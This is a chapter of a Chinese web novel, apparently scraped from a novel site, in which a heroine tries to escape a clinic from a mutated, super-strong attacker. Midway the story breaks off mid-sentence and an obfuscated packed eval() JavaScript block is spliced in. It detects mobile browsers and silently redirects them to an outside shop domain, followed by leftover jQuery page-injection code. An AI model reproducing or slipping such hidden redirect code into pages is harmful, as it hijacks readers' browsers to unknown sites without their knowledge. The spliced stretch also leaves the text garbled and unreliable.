文趣网 > 其他小说 > 低调的我成了恐怖分子 > 9. 诊所大逃亡3
    “在检查吗?”

    “不要重复这么多遍大叔!”门被一位年轻女人推开,“咦,门把坏的。”

    “详细检查当然要花很长时间。”文安康欲哭无泪地假装淡定。

    早在尤树全第一次狂躁,清创室的指纹系统就已经失效,后又在剧烈的拆下过程中彻底折损门锁。

    两人也是在尤树全离开后才发现这一点,才发现清创室完全指望不上,根本不能当成安全区

    “数据已经出来一部分,剩余的要再等一会儿,我先下去看诊。”他扬了扬手中的几张报告,哪怕隔着墨镜也不敢和尤树全对视。

    尤达抬头看着进来的一对年轻男女。

    年轻男人烧伤脸,发梢竖起,像晾晒在细杆上的皱豆皮,风儿吹,豆皮飞。

    年轻女人完全相反,圆脸白肤,两腮透着玫瑰花的红,像玫瑰花馅的甜寿包。

    大小姐和她的脚夫。

    视线又是一转,她和充满邪意的尤树全对视上。

    尤达有点控制不住地握紧双拳,心里感慨,仅仅一眼,报复的心蠢蠢欲动。

    她尽量松弛面部肌肉,喊道:“爸爸。”

    话落地,房内蓦地安静下来,尤达莫名其妙地感受到尤树全的诧异。

    “你爸爸有皮肤病吗?身上裹这么严实,像是有见不得眼的秘密。”甜寿包无比自然地接过话。

    尤达浑身一僵。

    此时此刻的尤树全,是座随时爆发的活火山。

    皱豆皮用手肘轻轻捅了甜寿包。

    “干嘛。”甜寿包跳开,怒瞪文安康:“门口牌写着清创室,清创室怎么看诊,这个不合格的诊所,我要举报。”

    “看病当然得去一楼。”文安康从椅子上站起身,暗中扯了扯尤达的裤缝。

    文安康先出门,甜寿包和皱豆皮紧随其后,尤树全跟在尤达身后。

    甫一出门,在四人的衬托下,充满冷白灯光的走廊显得宽阔狭长。

    背后如芒刺背,尤达没有心情看路。

    二楼自动门一开,甜寿包嘴里抱怨:“走这么快干嘛?又没被人追杀。”

    尤达的余光注意到尤树全身形一顿,她悍然发动,当即对准方向扔项圈,同时手中按下控制器。“跑!”

    文安康率先跑到楼梯口,尤达瞬间的爆发力更强烈,几乎是瞬间穿过自动门,在楼梯入口处追上文安康,急速下楼。

    还差最后五六节楼梯的时候,尤达跳起,打算直接越过他。

    也就是在空中起跳的一瞬间,文安康紧张之下脚底打滑摔了下去。

    “!”

    尤达脚刚沾地,文安康从后贴着背压-在她的身上,两人密不可分地滑出去一段距离,身上藏好的临时武器零零散散地落在身旁。

    甜寿包和皱豆皮目瞪口呆地望着变故。

    感觉身后有飓风呼过,皱豆皮眼睛一晃,发现甜寿包已经被尤树全单手拎在手中,像专业的棒球投球手一样把她投掷出去。

    皱豆皮眼也不眨,用尽最快速度,冲跨二楼的复合木栏杆,在半空中包住甜寿包,用自己的身体给她做垫背。

    冲撞开的复合木纷纷下掉,一楼地面的四个人根本没有躲藏的机会,其中一块长木砸在文安康的背上。

    文安康惨嗷一声,趴在地上没了动静。

    尤达脸色下沉,50mA项圈对上尤树全竟如隔靴搔痒,根本没争取到任何逃跑时间。

    这家伙!B阶以上!

    看着不知生死的文安康,尤达恍恍惚惚地记起有人和她科普过,若人类的脊椎受到严重撞击,会直接导致瘫痪,而脊椎的高位受创,可能会让脑部和心脏连创到死亡。

    文医生死了吗?

    来不及多想,她微微抬头,看见尤树全站在破损的二楼,墨镜在刚刚的大动作中掉落。它摘掉掩饰的手套,暴力地用青黑色右手撕碎面部口罩,嘴角朝耳后冽去,白厉厉的牙齿宣战。

    “我×,”轻微擦伤的甜寿包尖叫,“畸化人!”

    尤树全从二楼一跃而下,它稳稳地落到一楼,把旁边的文安康一脚踢开,手握住尤达脚腕。

    尤达猛地抓起旁边的实验器具扎向它的脸。

    在器具尖端接触尤树全皮肤的瞬间,非但没有预想中的血液,锐利的尖端竟像橡皮泥一样弯折成弧!

    重大的打击让尤达发愣。

    上一次在菜市场,她也有过攻击经验,C阶的畸化人和稍韧的肉类触感相似。无论如何,畸化人也算变异的人类不是吗?那刚刚的触感是怎么回事?她是扎在了石块上的嘛?

    C阶畸化人意味着普通人还有一战之力。

    非C阶的差距竟然如此之大……

    这时,爬起的甜寿包眼疾手快,捞起砸中文文安康的复合木,一击袭向尤树全,木块应声而断。“去死吧!”

    尤树全依旧毫发未损。

    但这一击让尤树全暂时转移对尤达的兴趣,愤怒地转身对甜寿包发叫,叫声犹如猿啼。

    甜寿包浑身乱颤,抖个不停。

    尤达拖着伤腿,受了伤非常不利于行。

    偷袭尤树全,还是趁甜寿包吸引注意力立即跑出去?不救,甜寿包大概率活不了,但只要出去,就有呼救的机会,剩余人的生存率由此提高!

    她心中天人交战。

    别看皱豆皮黄瘦,形势的转机在他!他英勇无畏地侧面扑倒了尤树全,声嘶力竭:“你们快跑!”

    甜寿包急得跺脚:“笨蛋,快用你的——”

    噼里啪啦的电弧光围绕在尤树全和皱豆皮的身上。

    直到皱豆皮勉力起来,尤树全全身还在不自觉地颤-抖。

    机会!

    尤达拖着左腿,不管不顾地往大门的方向冲过去,她心里不忘开骂:开这么大诊所,逃跑都不容易。

    快到了,她喜上眉梢。

    小蓝机器人靠近她,贴心开口:“有什么需要小蓝的帮助吗?”

    “滚。”尤达绕开它。

    小蓝:“好的呢!顾客就是我的上帝,很高兴为你服务。”

    它的机械身压低,双手双脚内收,变形成球体,滚了几圈。

    尤树全:“啊啊啊啊电我!你居然电我!”

    尤达顾不得其他情况,一门心思逃跑。

    来了!

    马上能出去!

    再给她三秒!

    3!

    她靠近门口。

    背后又穿来尤树全怒不可遏的尖叫。

    2!

    尤达手摸上无线开关。

    像是有人被尤树全扔出去砸到重物,接着全诊所开始滋啦啦响。

    1!

    尤达用力按下无线开关。

    头顶的灯忽明忽暗闪烁。

    0!

    透明玻璃门缓缓打开。

    尤达喜不自胜。

    灯泡气息奄奄地最后照了一下,归于黑暗。

    整座诊所笼罩在漆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915547|213312||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    黑中,唯有远处的路灯和微微月光映在玻璃,让人勉强视物。

    玻璃门打开的动作中断。

    她不敢置信地狂拍透明门,没反应。

    扒门,失败。

    钻出去,门缝太小。

    沉在海水里,浮上来又被溺毙,就是形容现在的她。

    希望瞬间破灭的感觉让她恍若隔世,苍白的月亮也不怀好意地嘲笑她。

    文医生三个人怎么样了?怎么也没有一点声音?他们还活着吗?

    尤达惴惴不安地思考:皱豆皮应该是位阶能者,他的能力能暂时牵制尤树全,我要等他吗?

    那……他要是死了……

    尤达回头望了一眼漆黑的走廊,没有听见任何打斗声。

    “我该怎么办?”

    不!还有方法,可以砸门!又或者借助小蓝机器管家。家务型机器人虽然不能辅助战斗,但大部分内置了紧急报警功能。

    尤达朝左看,小蓝变成一个球缩在墙角,正发着微微蓝光。

    要靠近小蓝,必须经过走廊。

    现在全诊所的唯一可视区域都集中在等候区,她朝里望不见尤树全,但在光亮处的她却一览无余。

    行不通!

    只能砸门了……

    尤达刚准备抬起脚,瞧见了等候区的布置居然是两张五连排椅,重量远超她的承受极限,根本不可能搬动。

    于是她打算悄悄绕到接待台去拿单独椅。

    “检测到周围环境过于黑暗,正在开启备用电源照明。”小蓝机器人咔咔咔地再次变身。

    在刻意被营造的寂静氛围中,机械声犹如幽灵般飘荡。

    “!”

    等不急拿起椅子砸,尤达直接蹲下,把接待台下面作为掩体,鞋子前端触碰到硬邦邦的物品,她在黑暗中顺手摸了上去。

    这形状,小型电锯?前台柜怎么会出现这个?

    不等她深思,周围响起剧烈的破坏声。

    从疾驰而过的移动声和机器的撞击声可以听出,小蓝应该已经被吸引过来的尤树全砸坏。

    “在哪,人都在哪里?”尤树全在前台走走停停。饮水机被踹倒,于昏暗中咕噜咕噜地吐水。

    他忽地笑着自言自语:“看你们往哪里逃。”

    他的笑声听得尤达眼皮直跳。

    随即,尤树全走到了导诊台,与尤达的距离不到一只手。

    尤树全停住,双手大张把住导诊台的两端。

    他把1米高的导诊台抬至胸口,朝门口走去,接待台的物品框框响动。

    尤达唰地站起身,双眼凝视尤树全,趁着他忙碌,她轻声而又不失速度地后退。直到退到完全处于黑暗中,一颗心仍然吊在嗓子眼。

    接待台挡住大门,尤树全犹觉不够,所以开始咚咚当当地挪起了五座排椅堆叠。

    一旦摞上去,可以完全挡住大门,前台区也沉浸在一片黑暗中。

    尤达背贴墙,左手轻轻地摸索木门,某瞬间,她的脚踢到了什么,那东西很快地缩回去。

    她立时停下。

    反而是刚刚缩回去的东西又小心翼翼地摸上她的脚,对方爬起来,然后大着胆子,把汗津津的手塞进她的手心。

    皮肤滑得像鸡蛋液,是甜寿包。

    尤达分不清她手上是血还是汗。

    总之,两只手加起来可以拧出一斤水。

    甜寿包轻声道:“是我。”

    尤达匆忙捂住她的嘴。